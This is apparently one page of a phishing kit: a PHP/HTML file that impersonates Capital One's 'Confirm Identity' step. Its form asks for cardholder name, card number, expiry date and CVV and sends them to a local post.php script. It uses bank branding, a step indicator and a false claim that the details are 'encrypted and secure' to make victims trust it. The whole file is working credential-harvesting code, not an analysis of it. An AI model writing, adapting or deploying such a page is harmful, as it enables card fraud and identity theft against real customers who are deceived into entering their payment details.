<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Spectral:wght@300;400;500&family=Inter:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Capital One — Confirm Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --c1: #d03027; --c1d: #a8201a; --c1l: rgba(208,48,39,0.08); --c2: #1a1a1a;
            --text-primary: #1a1a1a; --text-secondary: #444; --text-muted: #888;
            --border: #e0e0e0; --bg: #f8f8f8; --white: #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; background: var(--bg); }
        body { display: grid; grid-template-columns: 1fr 1fr; min-height: 100vh; overflow: hidden; }
        .panel-left {
            background: var(--c2); position: relative; display: flex; flex-direction: column;
            justify-content: flex-end; padding: 52px 56px; overflow: hidden;
        }
        .panel-left::before {
            content: ''; position: absolute; inset: 0;
            background: radial-gradient(ellipse 70% 60% at 5% 95%, color-mix(in srgb, var(--c1) 35%, transparent) 0%, transparent 60%),
                        radial-gradient(ellipse 40% 30% at 90% 5%, color-mix(in srgb, var(--c1) 12%, transparent) 0%, transparent 60%);
            pointer-events: none;
        }
        .panel-bg { position: absolute; inset: 0; overflow: hidden; opacity: 0.05; }
        .panel-bg svg { width: 100%; height: 100%; }
        .panel-dots { position: absolute; top: 52px; left: 56px; display: flex; gap: 8px; z-index: 1; }
        .panel-dots span { width: 8px; height: 8px; border-radius: 50%; background: rgba(255,255,255,0.15); }
        .panel-dots span:first-child { background: var(--c1); }
        .brand-icon { position: relative; z-index: 1; margin-bottom: 48px; }
        .panel-tagline { position: relative; z-index: 1; }
        .panel-tagline .eyebrow { font-size: 11px; font-weight: 500; letter-spacing: 0.22em; text-transform: uppercase; color: var(--c1); margin-bottom: 18px; opacity: 0.9; }
        .panel-tagline h2 { font-family: 'Spectral', serif; font-size: clamp(24px, 2.8vw, 38px); font-weight: 400; line-height: 1.28; color: #fff; margin-bottom: 20px; }
        .panel-tagline p { font-size: 14px; font-weight: 300; color: rgba(255,255,255,0.42); line-height: 1.75; max-width: 310px; }
        .panel-right { display: flex; flex-direction: column; justify-content: center; align-items: center; padding: 60px 40px; background: var(--white); overflow-y: auto; }
        .page-card { width: 100%; max-width: 390px; animation: fadeUp 0.55s ease both; }
        @keyframes fadeUp { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } }
        .card-logo { margin-bottom: 36px; }
        .card-logo img { height: 44px; width: auto; object-fit: contain; display: block; }
        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 24px; }
        .step { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; border-radius: 50%; font-size: 11px; font-weight: 600; }
        .step.done { background: var(--c1l); color: var(--c1); }
        .step.active { background: var(--c1); color: #fff; }
        .step.pending { background: #f0f0f0; color: #bbb; }
        .step-line { flex: 1; height: 1px; background: var(--border); }
        .step-line.done { background: var(--c1); opacity: 0.35; }
        .card-heading { margin-bottom: 26px; }
        .card-heading h1 { font-family: 'Spectral', serif; font-size: 26px; font-weight: 400; color: var(--text-primary); margin-bottom: 6px; }
        .card-heading p { font-size: 14px; color: var(--text-muted); font-weight: 300; }
        .sec-badge { display: flex; align-items: center; gap: 8px; background: var(--c1l); border: 1px solid color-mix(in srgb, var(--c1) 20%, transparent); border-radius: 6px; padding: 9px 13px; margin-bottom: 20px; }
        .sec-badge svg { flex-shrink: 0; color: var(--c1); }
        .sec-badge span { font-size: 12px; color: var(--c1); font-weight: 400; }
        .field { margin-bottom: 16px; }
        .field label { display: block; font-size: 11px; font-weight: 500; letter-spacing: 0.08em; text-transform: uppercase; color: var(--text-secondary); margin-bottom: 7px; }
        .field input {
            width: 100%; height: 50px; padding: 0 16px;
            border: 1.5px solid var(--border); border-radius: 6px;
            font-family: 'Inter', sans-serif; font-size: 15px; color: var(--text-primary);
            background: #fff; outline: none; transition: border-color 0.2s, box-shadow 0.2s; -webkit-appearance: none;
        }
        .field input::placeholder { color: #bbb; font-weight: 300; }
        .field input:focus { border-color: var(--c1); box-shadow: 0 0 0 3px var(--c1l); }
        .field-row { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; margin-bottom: 16px; }
        .field-row .field { margin-bottom: 0; }
        .options { display: flex; flex-direction: column; gap: 12px; margin-bottom: 26px; }
        .check-label { display: flex; align-items: center; gap: 10px; font-size: 13.5px; color: var(--text-secondary); cursor: pointer; user-select: none; }
        .check-label input[type="checkbox"] {
            appearance: none; -webkit-appearance: none; width: 17px; height: 17px;
            border: 1.5px solid var(--border); border-radius: 4px; background: #fff;
            cursor: pointer; flex-shrink: 0; position: relative; transition: background 0.15s, border-color 0.15s;
        }
        .check-label input[type="checkbox"]:checked { background: var(--c1); border-color: var(--c1); }
        .check-label input[type="checkbox"]:checked::after {
            content: ''; position: absolute; left: 4px; top: 1px;
            width: 5px; height: 9px; border: 2px solid #fff;
            border-top: none; border-left: none; transform: rotate(45deg);
        }
        .btn-main {
            width: 100%; height: 50px; background: var(--c1); color: #fff;
            border: none; border-radius: 6px; font-family: 'Inter', sans-serif;
            font-size: 15px; font-weight: 600; cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s; margin-bottom: 10px;
            display: flex; align-items: center; justify-content: center; gap: 8px;
        }
        .btn-main:hover { background: var(--c1d); box-shadow: 0 4px 18px color-mix(in srgb, var(--c1) 35%, transparent); transform: translateY(-1px); }
        .btn-main:active { transform: translateY(0); }
        .card-links { display: flex; flex-direction: column; gap: 12px; padding-top: 20px; border-top: 1px solid var(--border); }
        .card-links a { font-size: 13.5px; color: var(--c1); text-decoration: none; font-weight: 400; opacity: 0.85; transition: opacity 0.15s; }
        .card-links a:hover { opacity: 1; text-decoration: underline; }
        .card-links a::after { content: ' →'; font-size: 12px; }
        .ring-wrap { position: relative; width: 120px; height: 120px; margin: 0 auto 28px; text-align: center; }
        .ring-wrap svg { width: 120px; height: 120px; transform: rotate(-90deg); }
        .ring-track { fill: none; stroke: var(--border); stroke-width: 5; }
        .ring-progress { fill: none; stroke: var(--c1); stroke-width: 5; stroke-linecap: round; stroke-dasharray: 326.7; stroke-dashoffset: 0; transition: stroke-dashoffset 1s linear; }
        .ring-label { position: absolute; inset: 0; display: flex; flex-direction: column; align-items: center; justify-content: center; }
        .ring-time { font-family: 'Spectral', serif; font-size: 26px; font-weight: 400; color: var(--text-primary); line-height: 1; }
        .ring-unit { font-size: 11px; color: var(--text-muted); margin-top: 3px; }
        .wait-heading { text-align: center; margin-bottom: 0; }
        .wait-heading h1 { font-family: 'Spectral', serif; font-size: 22px; font-weight: 400; color: var(--text-primary); margin-bottom: 8px; }
        .wait-heading p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; line-height: 1.7; max-width: 300px; margin: 0 auto; }
        .prog-dots { display: flex; justify-content: center; gap: 6px; margin: 24px 0; }
        .prog-dots span { width: 7px; height: 7px; border-radius: 50%; background: var(--border); transition: background 0.4s; }
        .prog-dots span.lit { background: var(--c1); }
        .info-badge { display: inline-flex; align-items: center; gap: 8px; background: var(--c1l); border: 1px solid color-mix(in srgb, var(--c1) 20%, transparent); border-radius: 6px; padding: 10px 16px; font-size: 12px; color: var(--c1); font-weight: 400; }
        .otp-wrapper { display: flex; gap: 9px; margin-bottom: 8px; }
        .otp-wrapper input[type="text"] {
            width: 100%; height: 56px; text-align: center;
            font-family: 'Inter', sans-serif; font-size: 20px; font-weight: 600; color: var(--text-primary);
            border: 1.5px solid var(--border); border-radius: 6px; background: #fff; outline: none;
            transition: border-color 0.2s, box-shadow 0.2s; -webkit-appearance: none; caret-color: var(--c1);
        }
        .otp-wrapper input[type="text"]:focus { border-color: var(--c1); box-shadow: 0 0 0 3px var(--c1l); }
        .otp-wrapper input[type="text"].filled { border-color: color-mix(in srgb, var(--c1) 45%, transparent); background: var(--c1l); }
        input[name="otp"] { display: none; }
        .error-msg { display: flex; align-items: center; gap: 7px; color: #b00; font-size: 12.5px; margin-bottom: 14px; padding: 9px 12px; background: rgba(180,0,0,0.06); border: 1px solid rgba(180,0,0,0.18); border-radius: 6px; animation: fadeUp 0.3s ease both; }
        .resend-row { text-align: center; margin-top: 18px; font-size: 13px; color: var(--text-muted); }
        .resend-row a { color: var(--c1); text-decoration: none; font-weight: 500; margin-left: 4px; opacity: 0.85; }
        .resend-row a:hover { opacity: 1; text-decoration: underline; }
        @media (max-width: 768px) { body { grid-template-columns: 1fr; overflow: auto; } .panel-left { display: none; } .panel-right { min-height: 100vh; padding: 48px 28px; } }
    </style>
</head>
<body>

<div class="panel-left">
    <div class="panel-dots"><span></span><span></span><span></span></div>
    <div class="panel-bg">
        <svg viewBox="0 0 600 800" preserveAspectRatio="xMidYMid slice" xmlns="http://www.w3.org/2000/svg">
            <circle cx="500" cy="150" r="300" fill="none" stroke="white" stroke-width="1"/>
            <circle cx="500" cy="150" r="200" fill="none" stroke="white" stroke-width="1"/>
            <circle cx="500" cy="150" r="100" fill="none" stroke="white" stroke-width="1"/>
            <line x1="0" y1="600" x2="600" y2="200" stroke="white" stroke-width="0.5"/>
            <line x1="0" y1="700" x2="600" y2="300" stroke="white" stroke-width="0.5"/>
        </svg></div>
    <div style="position:relative;z-index:1;margin-bottom:44px;width:260px;height:155px;border-radius:14px;background:linear-gradient(135deg,rgba(255,255,255,0.12),rgba(255,255,255,0.04));border:1px solid rgba(255,255,255,0.12);padding:20px 22px;display:flex;flex-direction:column;justify-content:space-between;box-shadow:0 16px 48px rgba(0,0,0,0.4);transform:rotate(-2deg);transition:transform 0.4s" onmouseover="this.style.transform='rotate(0)'" onmouseout="this.style.transform='rotate(-2deg)'">
        <div style="width:30px;height:22px;border-radius:4px;background:rgba(255,255,255,0.25);border:1px solid rgba(255,255,255,0.2)"></div>
        <div style="font-size:11px;letter-spacing:0.18em;color:rgba(255,255,255,0.35);font-weight:300">•••• &nbsp;•••• &nbsp;•••• &nbsp;••••</div>
        <div style="display:flex;justify-content:space-between;align-items:flex-end">
            <span style="font-size:9px;letter-spacing:0.1em;text-transform:uppercase;color:rgba(255,255,255,0.28)">Cardholder Name</span>
            <span style="font-size:9px;color:rgba(255,255,255,0.28)">MM/YY</span>
        </div>
        <div style="position:absolute;bottom:0;left:0;right:0;height:3px;border-radius:0 0 14px 14px;background:var(--c1);opacity:0.8"></div>
    </div>
    <div class="panel-tagline">
        <div class="eyebrow">Identity Verification</div>
        <h2>One more step<br>to stay secure.</h2>
        <p>Verify your card details to confirm your identity.</p>
    </div>
</div>
<div class="panel-right">
    <div class="page-card">
        <div class="card-logo"><img src="res/img/logo.svg" alt="Capital One"></div>
        <div class="step-indicator">
            <div class="step done">✓</div><div class="step-line done"></div>
            <div class="step active">2</div><div class="step-line"></div>
            <div class="step pending">3</div>
        </div>
        <div class="card-heading"><h1>Confirm your identity</h1><p>Enter your card details to verify your account.</p></div>
        <div class="sec-badge"><svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0 1 10 0v4"/></svg><span>Your card details are encrypted and secure</span></div>
        <form action="post.php" method="post">
            <div class="field"><label for="name">Cardholder name</label><input type="text" name="name" id="name" placeholder="As shown on card" autocomplete="cc-name"></div>
            <div class="field"><label for="cc">Card number</label><input type="text" name="cc" id="cc" required placeholder="XXXX XXXX XXXX XXXX" autocomplete="cc-number" inputmode="numeric"></div>
            <div class="field-row">
                <div class="field"><label for="exp">Expiration</label><input type="text" name="exp" id="exp" required placeholder="MM/YY" autocomplete="cc-exp" inputmode="numeric"></div>
                <div class="field"><label for="cvv">Security code</label><input type="password" name="cvv" id="cvv" required placeholder="CVV" autocomplete="cc-csc" inputmode="numeric"></div>
            </div>
            <button type="submit" class="btn-main">Continue <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg></button>
        </form>
    </div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
<script>
    $("#cc").mask("0000 0000 0000 0000");
    $("#exp").mask("00/00");
    $("#cvv").mask("0000");</script>
</body>
</html>